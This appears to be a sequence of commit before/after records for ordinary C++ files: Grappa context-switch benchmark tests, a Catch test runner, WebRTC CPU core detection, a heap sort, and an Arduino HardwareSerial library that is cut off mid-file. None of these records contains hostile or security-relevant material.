on_all_cores( [&r] {\n \/\/ per core timing\n double start, end;\n\n ConditionVariable cvs[FLAGS_num_test_workers];\n bool asleep[FLAGS_num_test_workers];\n for( int i=0; i<FLAGS_num_test_workers; i++) { asleep[i] = false; }\n\n final = new CompletionEvent(1);\n task_barrier = new CompletionEvent(FLAGS_num_test_workers);\n\n running = false;\n waitCount = 0;\n numst = 0;\n\n for ( uint64_t t=0; t<FLAGS_num_test_workers; t++ ) {\n privateTask( [&asleep,&start,&cvs] {\n \/\/ wait for all to start (to hack scheduler yield)\n task_barrier->complete();\n task_barrier->wait();\n\n \/\/ first task to exit the local barrier will start the timer\n if ( !running ) {\n start = Grappa_walltime();\n running = true;\n }\n\n uint64_t tid = numst++;\n \n uint64_t partner = (tid + FLAGS_num_test_workers\/2)%FLAGS_num_test_workers;\n uint64_t total_iters = FLAGS_iters_per_task*FLAGS_num_test_workers; \n\n \/\/ do the work\n while( waitCount++ < total_iters ) {\n if ( asleep[partner] ) { \/\/ TODO also test just wake up case\n Grappa::signal( &cvs[partner] );\n }\n asleep[tid] = true;\n Grappa::wait( &cvs[tid] );\n asleep[tid] = false;\n }\n\n \/\/ only first \n if ( running ) {\n final->complete(); \/\/ signal to finish as soon as the parent task gets scheduled \n running = false;\n }\n });\n }\n \n BOOST_MESSAGE( \"waiting\" );\n final->wait();\n end = Grappa_walltime();\n double runtime = end-start;\n BOOST_MESSAGE( \"took time \" << runtime );\n\n \/\/ wake all\n for (int i=0; i<FLAGS_num_test_workers; i++) { Grappa::signal(&cvs[i]); }\n BOOST_MESSAGE( \"woke all\" );\n\n Grappa::barrier();\n \n BOOST_MESSAGE( \"all done\" );\n\n \/\/ sort out timing \n\n double r_sum = Grappa::allreduce<double, collective_add>( runtime );\n double r_min = Grappa::allreduce<double, collective_min>( runtime );\n double r_max = Grappa::allreduce<double, collective_max>( runtime );\n if ( Grappa::mycore()==0 ) {\n r.runtime_avg = r_sum \/ Grappa::cores();\n r.runtime_min = r_min;\n r.runtime_max = r_max;\n }\n BOOST_MESSAGE( \"done reduce\" );\n });\n\n BOOST_MESSAGE( \"cores_time_avg = \" << r.runtime_avg\n << \", cores_time_max = \" << r.runtime_max\n << \", cores_time_min = \" << r.runtime_min);\n }\n \n } else if (FLAGS_test_type.compare(\"sequential_updates\")==0) {\n BOOST_MESSAGE( \"Test sequential_updates\" );\n {\n\n final = new CompletionEvent(FLAGS_num_starting_workers);\n task_barrier = new CompletionEvent(FLAGS_num_starting_workers);\n values8 = new uint64_t[FLAGS_num_starting_workers];\n\n double start = Grappa_walltime();\n\n for ( uint64_t t=0; t<FLAGS_num_starting_workers; t++ ) {\n privateTask( [t] {\n \/\/ wait for all to start (to hack scheduler yield)\n task_barrier->complete();\n task_barrier->wait();\n\n \/\/ do the work\n for ( uint64_t i=0; i<FLAGS_iters_per_task; i++ ) { \n values8[t] += 1;\n Grappa_yield();\n }\n final->complete();\n });\n }\n\n final->wait();\n double end = Grappa_walltime();\n\n double runtime = end-start;\n BOOST_MESSAGE( \"time = \" << runtime << \", avg_switch_time = \" << runtime\/(FLAGS_num_starting_workers*FLAGS_iters_per_task) );\n }\n } else if (FLAGS_test_type.compare(\"sequential_updates16\")==0) {\n\n BOOST_MESSAGE( \"Test sequential_updates16\" );\n {\n final = new CompletionEvent(FLAGS_num_starting_workers);\n task_barrier = new CompletionEvent(FLAGS_num_starting_workers);\n values16 = new SixteenBytes[FLAGS_num_starting_workers];\n\n double start = Grappa_walltime();\n\n for ( uint64_t t=0; t<FLAGS_num_starting_workers; t++ ) {\n privateTask( [t] {\n \/\/ wait for all to start (to hack scheduler yield)\n task_barrier->complete();\n task_barrier->wait();\n\n \/\/ do the work\n for ( uint64_t i=0; i<FLAGS_iters_per_task; i++ ) { \n values16[t].val1 += 1;\n values16[t].val2 += 1;\n Grappa_yield();\n }\n final->complete();\n });\n }\n\n final->wait();\n double end = Grappa_walltime();\n\n double runtime = end-start;\n BOOST_MESSAGE( \"time = \" << runtime << \", avg_switch_time = \" << runtime\/(FLAGS_num_starting_workers*FLAGS_iters_per_task) );\n }\n } else if (FLAGS_test_type.compare(\"private_array\")==0) {\n\n BOOST_MESSAGE( \"Test private_array\" );\n {\n final = new CompletionEvent(FLAGS_num_starting_workers);\n task_barrier = new CompletionEvent(FLAGS_num_starting_workers);\n values8 = new uint64_t[FLAGS_num_starting_workers];\n\n double start = Grappa_walltime();\n\n for ( uint64_t t=0; t<FLAGS_num_starting_workers; t++ ) {\n privateTask( [t] {\n uint64_t myarray[FLAGS_private_array_size];\n\n \/\/ wait for all to start (to hack scheduler yield)\n task_barrier->complete();\n task_barrier->wait();\n\n \/\/ do the work\n for ( uint64_t i=0; i<FLAGS_iters_per_task; i++ ) { \n for (uint64_t j=0; j<FLAGS_private_array_size; j++) {\n myarray[j] += 1;\n }\n Grappa_yield();\n }\n values8[t] = myarray[rand()%FLAGS_private_array_size];\n final->complete();\n });\n }\n\n final->wait();\n double end = Grappa_walltime();\n\n BOOST_MESSAGE( \"result = \" << values8[rand()%FLAGS_num_starting_workers] );\n\n double runtime = end-start;\n BOOST_MESSAGE( \"time = \" << runtime << \", avg_switch_time = \" << runtime\/(FLAGS_num_starting_workers*FLAGS_iters_per_task) );\n }\n } else if (FLAGS_test_type.compare(\"private_array_bycache\")==0) {\n\n BOOST_MESSAGE( \"Test private_array_bycache\" );\n {\n final = new CompletionEvent(FLAGS_num_starting_workers);\n task_barrier = new CompletionEvent(FLAGS_num_starting_workers);\n values8 = new uint64_t[FLAGS_num_starting_workers];\n\n double start = Grappa_walltime();\n\n for ( uint64_t t=0; t<FLAGS_num_starting_workers; t++ ) {\n privateTask( [t] {\n Cacheline myarray[FLAGS_private_array_size];\n\n \/\/ wait for all to start (to hack scheduler yield)\n task_barrier->complete();\n task_barrier->wait();\n\n \/\/ do the work\n for ( uint64_t i=0; i<FLAGS_iters_per_task; i++ ) { \n for (uint64_t j=0; j<FLAGS_private_array_size; j++) {\n myarray[j].val += 1;\n }\n Grappa_yield();\n }\n values8[t] = myarray[rand()%FLAGS_private_array_size].val;\n final->complete();\n });\n }\n\n final->wait();\n double end = Grappa_walltime();\n\n BOOST_MESSAGE( \"result = \" << values8[rand()%FLAGS_num_starting_workers] );\n\n double runtime = end-start;\n BOOST_MESSAGE( \"time = \" << runtime << \", avg_switch_time = \" << runtime\/(FLAGS_num_starting_workers*FLAGS_iters_per_task) );\n }\n } else {\n BOOST_CHECK( false ); \/\/ Unrecognized test_type\n }\n\n\n BOOST_MESSAGE( \"user main is exiting\" );\n}\n\n\n\nBOOST_AUTO_TEST_CASE( test1 ) {\n\n Grappa_init( &(boost::unit_test::framework::master_test_suite().argc),\n &(boost::unit_test::framework::master_test_suite().argv) );\n\n Grappa_activate();\n\n DVLOG(1) << \"Spawning user main Thread....\";\n Grappa_run_user_main( &user_main, (void*)NULL );\n VLOG(5) << \"run_user_main returned\";\n CHECK( Grappa_done() );\n\n Grappa_finish( 0 );\n}\n\nBOOST_AUTO_TEST_SUITE_END();\n\n<commit_msg>context switch tests: allocate CVs on the heap, add statistics output<commit_after>\n\/\/ Copyright 2010-2012 University of Washington. All Rights Reserved.\n\/\/ LICENSE_PLACEHOLDER\n\/\/ This software was created with Government support under DE\n\/\/ AC05-76RL01830 awarded by the United States Department of\n\/\/ Energy. The Government has certain rights in the software.\n\n#include <boost\/test\/unit_test.hpp>\n\n#include \"Grappa.hpp\"\n#include \"CompletionEvent.hpp\"\n#include \"ParallelLoop.hpp\"\n#include \"Collective.hpp\"\n#include \"Statistics.hpp\"\n\n#include <string>\n\nDECLARE_uint64( num_starting_workers );\nDEFINE_uint64( num_test_workers, 4, \"Number of workers for the tests\");\nDEFINE_uint64( iters_per_task, 10000, \"Iterations per task\" );\nDEFINE_string( test_type, \"yields\", \"options: {yields,sequential_updates, sequential_updates16\" ); \nDEFINE_uint64( private_array_size, 1, \"Size of private array of 8-bytes for each task\" );\n\nusing namespace Grappa;\n\nCompletionEvent * final;\nCompletionEvent * task_barrier;\n\nstruct SixteenBytes {\n uint64_t val1;\n uint64_t val2;\n};\n\nstruct Cacheline {\n uint64_t val;\n char padding[56];\n};\n\nuint64_t * values8;\nSixteenBytes * values16;\n\n\n\/\/ core-shared counter for counting progress\nuint64_t numst;\nuint64_t waitCount; \/\/ TODO: for traces, change to SimpleStatistic\nbool running;\n\n\nBOOST_AUTO_TEST_SUITE( ContextSwitchRate_tests );\n\nvoid user_main( void * args ) {\n srand((unsigned int)Grappa_walltime());\n\n \/\/ must have enough threads because they all join a barrier\n BOOST_CHECK( FLAGS_num_test_workers < FLAGS_num_starting_workers );\n\n if (FLAGS_test_type.compare(\"yields\")==0) {\n BOOST_MESSAGE( \"Test yields\" );\n {\n struct runtimes_t {\n double runtime_avg, runtime_min, runtime_max;\n };\n runtimes_t r;\n \n on_all_cores( [&r] {\n \/\/ per core timing\n double start, end;\n running = false;\n\n final = new CompletionEvent(FLAGS_num_test_workers);\n task_barrier = new CompletionEvent(FLAGS_num_test_workers);\n\n for ( uint64_t t=0; t<FLAGS_num_test_workers; t++ ) {\n privateTask( [&start] {\n \/\/ wait for all to start (to hack scheduler yield)\n task_barrier->complete();\n task_barrier->wait();\n\n \/\/ first task to exit the local barrier will start the timer\n if ( !running ) {\n Grappa::Statistics::reset();\n start = Grappa_walltime();\n running = true;\n }\n\n \/\/ do the work\n for ( uint64_t i=0; i<FLAGS_iters_per_task; i++ ) { \n Grappa_yield();\n }\n\n final->complete();\n });\n }\n \n BOOST_MESSAGE( \"waiting\" );\n final->wait();\n end = Grappa_walltime();\n double runtime = end-start;\n BOOST_MESSAGE( \"took time \" << runtime );\n\n Grappa::barrier();\n BOOST_MESSAGE( \"all done\" );\n\n \/\/ sort out timing \n\n double r_sum = Grappa::allreduce<double, collective_add>( runtime );\n double r_min = Grappa::allreduce<double, collective_min>( runtime );\n double r_max = Grappa::allreduce<double, collective_max>( runtime );\n if ( Grappa::mycore()==0 ) {\n r.runtime_avg = r_sum \/ Grappa::cores();\n r.runtime_min = r_min;\n r.runtime_max = r_max;\n }\n });\n \n Grappa::Statistics::merge_and_print();\n\n BOOST_MESSAGE( \"cores_time_avg = \" << r.runtime_avg\n << \", cores_time_max = \" << r.runtime_max\n << \", cores_time_min = \" << r.runtime_min);\n }\n } else if (FLAGS_test_type.compare(\"cvwakes\")==0) {\n BOOST_MESSAGE( \"Test cv wakes\" );\n {\n struct runtimes_t {\n double runtime_avg, runtime_min, runtime_max;\n };\n runtimes_t r;\n\n on_all_cores( [&r] {\n \/\/ per core timing\n double start, end;\n\n ConditionVariable * cvs = new ConditionVariable[FLAGS_num_test_workers];\n bool * asleep = new bool[FLAGS_num_test_workers];\n for( int i=0; i<FLAGS_num_test_workers; i++) { asleep[i] = false; }\n\n final = new CompletionEvent(1);\n task_barrier = new CompletionEvent(FLAGS_num_test_workers);\n\n running = false;\n waitCount = 0;\n numst = 0;\n\n for ( uint64_t t=0; t<FLAGS_num_test_workers; t++ ) {\n privateTask( [asleep,&start,cvs] {\n \/\/ wait for all to start (to hack scheduler yield)\n task_barrier->complete();\n task_barrier->wait();\n\n \/\/ first task to exit the local barrier will start the timer\n if ( !running ) {\n \/\/ can safely reset statistics here because\n \/\/ no messages are sent between cores in the\n \/\/ timed portion\n Grappa::Statistics::reset();\n start = Grappa_walltime();\n running = true;\n }\n\n uint64_t tid = numst++;\n \n uint64_t partner = (tid + FLAGS_num_test_workers\/2)%FLAGS_num_test_workers;\n uint64_t total_iters = FLAGS_iters_per_task*FLAGS_num_test_workers; \n\n \/\/ do the work\n while( waitCount++ < total_iters ) {\n if ( asleep[partner] ) { \/\/ TODO also test just wake up case\n Grappa::signal( &cvs[partner] );\n }\n asleep[tid] = true;\n Grappa::wait( &cvs[tid] );\n asleep[tid] = false;\n }\n\n \/\/ only first \n if ( running ) {\n final->complete(); \/\/ signal to finish as soon as the parent task gets scheduled \n running = false;\n }\n });\n }\n \n BOOST_MESSAGE( \"waiting\" );\n final->wait();\n end = Grappa_walltime();\n double runtime = end-start;\n BOOST_MESSAGE( \"took time \" << runtime );\n\n \/\/ wake all\n for (int i=0; i<FLAGS_num_test_workers; i++) { Grappa::signal(&cvs[i]); }\n BOOST_MESSAGE( \"woke all\" );\n\n Grappa::barrier();\n \n BOOST_MESSAGE( \"all done\" );\n\n \/\/ sort out timing \n\n double r_sum = Grappa::allreduce<double, collective_add>( runtime );\n double r_min = Grappa::allreduce<double, collective_min>( runtime );\n double r_max = Grappa::allreduce<double, collective_max>( runtime );\n if ( Grappa::mycore()==0 ) {\n r.runtime_avg = r_sum \/ Grappa::cores();\n r.runtime_min = r_min;\n r.runtime_max = r_max;\n }\n });\n \n Grappa::Statistics::merge_and_print();\n\n BOOST_MESSAGE( \"cores_time_avg = \" << r.runtime_avg\n << \", cores_time_max = \" << r.runtime_max\n << \", cores_time_min = \" << r.runtime_min);\n }\n \n } else if (FLAGS_test_type.compare(\"sequential_updates\")==0) {\n BOOST_MESSAGE( \"Test sequential_updates\" );\n {\n\n final = new CompletionEvent(FLAGS_num_starting_workers);\n task_barrier = new CompletionEvent(FLAGS_num_starting_workers);\n values8 = new uint64_t[FLAGS_num_starting_workers];\n\n double start = Grappa_walltime();\n\n for ( uint64_t t=0; t<FLAGS_num_starting_workers; t++ ) {\n privateTask( [t] {\n \/\/ wait for all to start (to hack scheduler yield)\n task_barrier->complete();\n task_barrier->wait();\n\n \/\/ do the work\n for ( uint64_t i=0; i<FLAGS_iters_per_task; i++ ) { \n values8[t] += 1;\n Grappa_yield();\n }\n final->complete();\n });\n }\n\n final->wait();\n double end = Grappa_walltime();\n\n double runtime = end-start;\n BOOST_MESSAGE( \"time = \" << runtime << \", avg_switch_time = \" << runtime\/(FLAGS_num_starting_workers*FLAGS_iters_per_task) );\n }\n } else if (FLAGS_test_type.compare(\"sequential_updates16\")==0) {\n\n BOOST_MESSAGE( \"Test sequential_updates16\" );\n {\n final = new CompletionEvent(FLAGS_num_starting_workers);\n task_barrier = new CompletionEvent(FLAGS_num_starting_workers);\n values16 = new SixteenBytes[FLAGS_num_starting_workers];\n\n double start = Grappa_walltime();\n\n for ( uint64_t t=0; t<FLAGS_num_starting_workers; t++ ) {\n privateTask( [t] {\n \/\/ wait for all to start (to hack scheduler yield)\n task_barrier->complete();\n task_barrier->wait();\n\n \/\/ do the work\n for ( uint64_t i=0; i<FLAGS_iters_per_task; i++ ) { \n values16[t].val1 += 1;\n values16[t].val2 += 1;\n Grappa_yield();\n }\n final->complete();\n });\n }\n\n final->wait();\n double end = Grappa_walltime();\n\n double runtime = end-start;\n BOOST_MESSAGE( \"time = \" << runtime << \", avg_switch_time = \" << runtime\/(FLAGS_num_starting_workers*FLAGS_iters_per_task) );\n }\n } else if (FLAGS_test_type.compare(\"private_array\")==0) {\n\n BOOST_MESSAGE( \"Test private_array\" );\n {\n final = new CompletionEvent(FLAGS_num_starting_workers);\n task_barrier = new CompletionEvent(FLAGS_num_starting_workers);\n values8 = new uint64_t[FLAGS_num_starting_workers];\n\n double start = Grappa_walltime();\n\n for ( uint64_t t=0; t<FLAGS_num_starting_workers; t++ ) {\n privateTask( [t] {\n uint64_t myarray[FLAGS_private_array_size];\n\n \/\/ wait for all to start (to hack scheduler yield)\n task_barrier->complete();\n task_barrier->wait();\n\n \/\/ do the work\n for ( uint64_t i=0; i<FLAGS_iters_per_task; i++ ) { \n for (uint64_t j=0; j<FLAGS_private_array_size; j++) {\n myarray[j] += 1;\n }\n Grappa_yield();\n }\n values8[t] = myarray[rand()%FLAGS_private_array_size];\n final->complete();\n });\n }\n\n final->wait();\n double end = Grappa_walltime();\n\n BOOST_MESSAGE( \"result = \" << values8[rand()%FLAGS_num_starting_workers] );\n\n double runtime = end-start;\n BOOST_MESSAGE( \"time = \" << runtime << \", avg_switch_time = \" << runtime\/(FLAGS_num_starting_workers*FLAGS_iters_per_task) );\n }\n } else if (FLAGS_test_type.compare(\"private_array_bycache\")==0) {\n\n BOOST_MESSAGE( \"Test private_array_bycache\" );\n {\n final = new CompletionEvent(FLAGS_num_starting_workers);\n task_barrier = new CompletionEvent(FLAGS_num_starting_workers);\n values8 = new uint64_t[FLAGS_num_starting_workers];\n\n double start = Grappa_walltime();\n\n for ( uint64_t t=0; t<FLAGS_num_starting_workers; t++ ) {\n privateTask( [t] {\n Cacheline myarray[FLAGS_private_array_size];\n\n \/\/ wait for all to start (to hack scheduler yield)\n task_barrier->complete();\n task_barrier->wait();\n\n \/\/ do the work\n for ( uint64_t i=0; i<FLAGS_iters_per_task; i++ ) { \n for (uint64_t j=0; j<FLAGS_private_array_size; j++) {\n myarray[j].val += 1;\n }\n Grappa_yield();\n }\n values8[t] = myarray[rand()%FLAGS_private_array_size].val;\n final->complete();\n });\n }\n\n final->wait();\n double end = Grappa_walltime();\n\n BOOST_MESSAGE( \"result = \" << values8[rand()%FLAGS_num_starting_workers] );\n\n double runtime = end-start;\n BOOST_MESSAGE( \"time = \" << runtime << \", avg_switch_time = \" << runtime\/(FLAGS_num_starting_workers*FLAGS_iters_per_task) );\n }\n } else {\n BOOST_CHECK( false ); \/\/ Unrecognized test_type\n }\n\n\n BOOST_MESSAGE( \"user main is exiting\" );\n}\n\n\n\nBOOST_AUTO_TEST_CASE( test1 ) {\n\n Grappa_init( &(boost::unit_test::framework::master_test_suite().argc),\n &(boost::unit_test::framework::master_test_suite().argv) );\n\n Grappa_activate();\n\n DVLOG(1) << \"Spawning user main Thread....\";\n Grappa_run_user_main( &user_main, (void*)NULL );\n VLOG(5) << \"run_user_main returned\";\n CHECK( Grappa_done() );\n\n Grappa_finish( 0 );\n}\n\nBOOST_AUTO_TEST_SUITE_END();\n\n<|endoftext|>"} {"text":"<commit_before>\/*\nThe MIT License (MIT)\n\nCopyright (c) 2016 Liav Turkia and Shahar Sandhaus\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n*\/\n#define CATCH_CONFIG_RUNNER\n#include <Catch.h>\n\nint main(int argc, char* const argv[]) {\n\t\/\/constant? get it?\n\tconst int result = Catch::Session().run(argc, argv);\n\n\tsystem(\"pause\");\n\n\treturn result;\n}\n<commit_msg>Removed pause from testng<commit_after>\/*\nThe MIT License (MIT)\n\nCopyright (c) 2016 Liav Turkia and Shahar Sandhaus\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n*\/\n#define CATCH_CONFIG_RUNNER\n#include <Catch.h>\n\nint main(int argc, char* const argv[]) {\n\t\/\/constant? get it?\n\tconst int result = Catch::Session().run(argc, argv);\n\n\treturn result;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2011 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"system_wrappers\/interface\/cpu_info.h\"\n\n#if defined(_WIN32)\n#include <Windows.h>\n#elif defined(WEBRTC_MAC)\n#include <sys\/sysctl.h>\n#include <sys\/types.h>\n#elif defined(WEBRTC_ANDROID)\n\/\/ Not implemented yet, might be possible to use Linux implementation\n#else \/\/ defined(WEBRTC_LINUX)\n#include <sys\/sysinfo.h>\n#endif\n\n#include \"trace.h\"\n\nnamespace webrtc {\n\nWebRtc_UWord32 CpuInfo::number_of_cores_ = 0;\n\nWebRtc_UWord32 CpuInfo::DetectNumberOfCores() {\n if (!number_of_cores_) {\n#if defined(_WIN32)\n SYSTEM_INFO si;\n GetSystemInfo(&si);\n number_of_cores_ = static_cast<WebRtc_UWord32>(si.dwNumberOfProcessors);\n WEBRTC_TRACE(kTraceStateInfo, kTraceUtility, -1,\n \"Available number of cores:%d\", number_of_cores_);\n\n#elif defined(WEBRTC_LINUX) && !defined(WEBRTC_ANDROID)\n number_of_cores_ = get_nprocs();\n WEBRTC_TRACE(kTraceStateInfo, kTraceUtility, -1,\n \"Available number of cores:%d\", number_of_cores_);\n\n#elif defined(WEBRTC_MAC)\n int name[] = {CTL_HW, HW_AVAILCPU};\n int ncpu;\n size_t size = sizeof(ncpu);\n if (0 == sysctl(name, 2, &ncpu, &size, NULL, 0)) {\n number_of_cores_ = static_cast<WebRtc_UWord32>(ncpu);\n WEBRTC_TRACE(kTraceStateInfo, kTraceUtility, -1,\n \"Available number of cores:%d\", number_of_cores_);\n } else {\n WEBRTC_TRACE(kTraceError, kTraceUtility, -1,\n \"Failed to get number of cores\");\n number_of_cores_ = 1;\n }\n#else\n WEBRTC_TRACE(kTraceWarning, kTraceUtility, -1,\n \"No function to get number of cores\");\n number_of_cores_ = 1;\n#endif\n }\n return number_of_cores_;\n}\n\n} \/\/ namespace webrtc\n<commit_msg>compile fix for get_nprocs() with uClibc<commit_after>\/*\n * Copyright (c) 2011 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"system_wrappers\/interface\/cpu_info.h\"\n\n#if defined(_WIN32)\n#include <Windows.h>\n#elif defined(WEBRTC_MAC)\n#include <sys\/sysctl.h>\n#include <sys\/types.h>\n#elif defined(WEBRTC_ANDROID)\n\/\/ Not implemented yet, might be possible to use Linux implementation\n#else \/\/ defined(WEBRTC_LINUX)\n#include <unistd.h> \/\/ required for get_nprocs() with uClibc\n#include <sys\/sysinfo.h>\n#endif\n\n#include \"trace.h\"\n\nnamespace webrtc {\n\nWebRtc_UWord32 CpuInfo::number_of_cores_ = 0;\n\nWebRtc_UWord32 CpuInfo::DetectNumberOfCores() {\n if (!number_of_cores_) {\n#if defined(_WIN32)\n SYSTEM_INFO si;\n GetSystemInfo(&si);\n number_of_cores_ = static_cast<WebRtc_UWord32>(si.dwNumberOfProcessors);\n WEBRTC_TRACE(kTraceStateInfo, kTraceUtility, -1,\n \"Available number of cores:%d\", number_of_cores_);\n\n#elif defined(WEBRTC_LINUX) && !defined(WEBRTC_ANDROID)\n number_of_cores_ = get_nprocs();\n WEBRTC_TRACE(kTraceStateInfo, kTraceUtility, -1,\n \"Available number of cores:%d\", number_of_cores_);\n\n#elif defined(WEBRTC_MAC)\n int name[] = {CTL_HW, HW_AVAILCPU};\n int ncpu;\n size_t size = sizeof(ncpu);\n if (0 == sysctl(name, 2, &ncpu, &size, NULL, 0)) {\n number_of_cores_ = static_cast<WebRtc_UWord32>(ncpu);\n WEBRTC_TRACE(kTraceStateInfo, kTraceUtility, -1,\n \"Available number of cores:%d\", number_of_cores_);\n } else {\n WEBRTC_TRACE(kTraceError, kTraceUtility, -1,\n \"Failed to get number of cores\");\n number_of_cores_ = 1;\n }\n#else\n WEBRTC_TRACE(kTraceWarning, kTraceUtility, -1,\n \"No function to get number of cores\");\n number_of_cores_ = 1;\n#endif\n }\n return number_of_cores_;\n}\n\n} \/\/ namespace webrtc\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <vector>\n\nusing namespace std;\n\ntemplate <typename T> class HeapSort {\n \/\/ make A[root] the max value of the subtree\n void heapify(vector<T> &A, int root, int end) {\n int max_val_idx = root;\n int left = 2 * root + 1, right = left + 1;\n\n if (left < end && A[left] > A[max_val_idx])\n max_val_idx = left;\n if (right < end && A[right] > A[max_val_idx])\n max_val_idx = right;\n\n if (max_val_idx != root) {\n swap(A[root], A[max_val_idx]);\n heapify(A, max_val_idx, end);\n }\n }\n\n public:\n void hs(vector<T> &A) {\n for(int i = A.size() \/ 2 - 1; i >= 0; --i) \n heapify(A, i, A.size());\n \n for(int i = A.size() - 1; i >= 0; --i) {\n swap(A[0], A[i]);\n heapify(A, 0, i);\n }\n }\n};\n\nint main() {\n vector<int> unsorted = {3, 2, 1, 5, 9, 7, 4};\n HeapSort<int> sorter;\n sorter.hs(unsorted);\n for (auto x : unsorted)\n cout << x << ' ';\n cout << endl;\n\n return 0;\n}<commit_msg>update the comments to help understand better<commit_after>#include <iostream>\n#include <vector>\n\nusing namespace std;\n\ntemplate <typename T> class HeapSort {\n \/\/ make A[root-end) a heap\n void heapify(vector<T> &A, int root, int end) {\n int left = 2 * root + 1, right = left + 1;\n\n int max_of_three = root; \/\/ max of root and its childs\n if (left < end && A[left] > A[max_of_three])\n max_of_three = left;\n if (right < end && A[right] > A[max_of_three])\n max_of_three = right;\n\n if (max_of_three != root) {\n swap(A[root], A[max_of_three]);\n heapify(A, max_of_three, end);\n }\n }\n\n public:\n void hs(vector<T> &A) {\n \/\/ pre-build whole vector as heap, O(n)\n for (int i = A.size() \/ 2 - 1; i >= 0; --i)\n heapify(A, i, A.size());\n\n \/\/ O(nlogn)\n \/\/ for each step:\n \/\/ select max, move down root to correct position\n for (int i = A.size() - 1; i >= 0; --i) {\n swap(A[0], A[i]);\n heapify(A, 0, i);\n }\n }\n};\n\nint main() {\n vector<int> unsorted = {3, 2, 1, 5, 9, 7, 4};\n HeapSort<int> sorter;\n sorter.hs(unsorted);\n\n for (auto x : unsorted)\n cout << x << ' ';\n cout << endl;\n\n return 0;\n}<|endoftext|>"} {"text":"<commit_before>\/*\n HarwareSerial.cpp - Hardware serial library for Wiring\n Copyright (c) 2006 Nicholas Zambetti. All right reserved.\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this library; if not, write to the Free Software\n Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n*\/\n\nextern \"C\" {\n #include <stdio.h>\n #include <string.h>\n #include <inttypes.h>\n #include \"Serial.h\"\n}\n\n#include \"HardwareSerial.h\"\n\n\/\/ Constructors \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nHardwareSerial::HardwareSerial(uint8_t uart)\n{\n if(uart == 0){\n _uart = 0;\n }else{\n _uart = 1;\n }\n}\n\n\/\/ Public Methods \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid HardwareSerial::begin(long speed)\n{\n uart_init(_uart, speed);\n}\n\nuint8_t HardwareSerial::available(void)\n{\n return uart_available(_uart);\n}\n\nint HardwareSerial::read(void)\n{\n return uart_read(_uart);\n}\n\nvoid HardwareSerial::print(char c)\n{\n uart_write(_uart, &c, 1);\n}\n\nvoid HardwareSerial::print(char c[])\n{\n uart_write(_uart, c, strlen(c));\n}\n\nvoid HardwareSerial::print(uint8_t b)\n{\n char c = b;\n uart_write(_uart, &c, 1);\n}\n\nvoid HardwareSerial::print(int n)\n{\n print((long) n);\n}\n\nvoid HardwareSerial::print(long n)\n{\n if (n < 0) {\n print('-');\n n = -n;\n }\n printNumber(n, 10);\n}\n\nvoid HardwareSerial::print(unsigned long n)\n{\n printNumber(n, 10);\n}\n\nvoid HardwareSerial::print(long n, int base)\n{\n if (base == 0)\n print((char) n);\n else if (base == 10)\n print(n);\n else\n printNumber(n, base);\n}\n\nvoid HardwareSerial::println(void)\n{\n print('\\n'); \n}\n\nvoid HardwareSerial::println(char c)\n{\n print(c);\n println(); \n}\n\nvoid HardwareSerial::println(char c[])\n{\n uart_write(_uart, c, strlen(c));\n println();\n}\n\nvoid HardwareSerial::println(uint8_t b)\n{\n print(b);\n println();\n}\n\nvoid HardwareSerial::println(int n)\n{\n println((long) n);\n}\n\nvoid HardwareSerial::println(long n)\n{\n print(n);\n println(); \n}\n\nvoid HardwareSerial::println(unsigned long n)\n{\n print(n);\n println(); \n}\n\nvoid HardwareSerial::println(long n, int base)\n{\n print(n, base);\n println();\n}\n\n\/\/ Private Methods \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid HardwareSerial::printNumber(unsigned long n, uint8_t base)\n{\n uint8_t buf[8 * sizeof(long)]; \/\/ Assumes 8-bit chars. \n int i = 0;\n if (n == 0) {\n print('0');\n return;\n }\n while (n > 0) {\n buf[i++] = n % base;\n n \/= base;\n }\n for (i--; i >= 0; i--){\n print((char)(buf[i] < 10 ? '0' + buf[i] : 'A' + buf[i] - 10));\n }\n}\n\n\/\/ Preinstantiate Objects 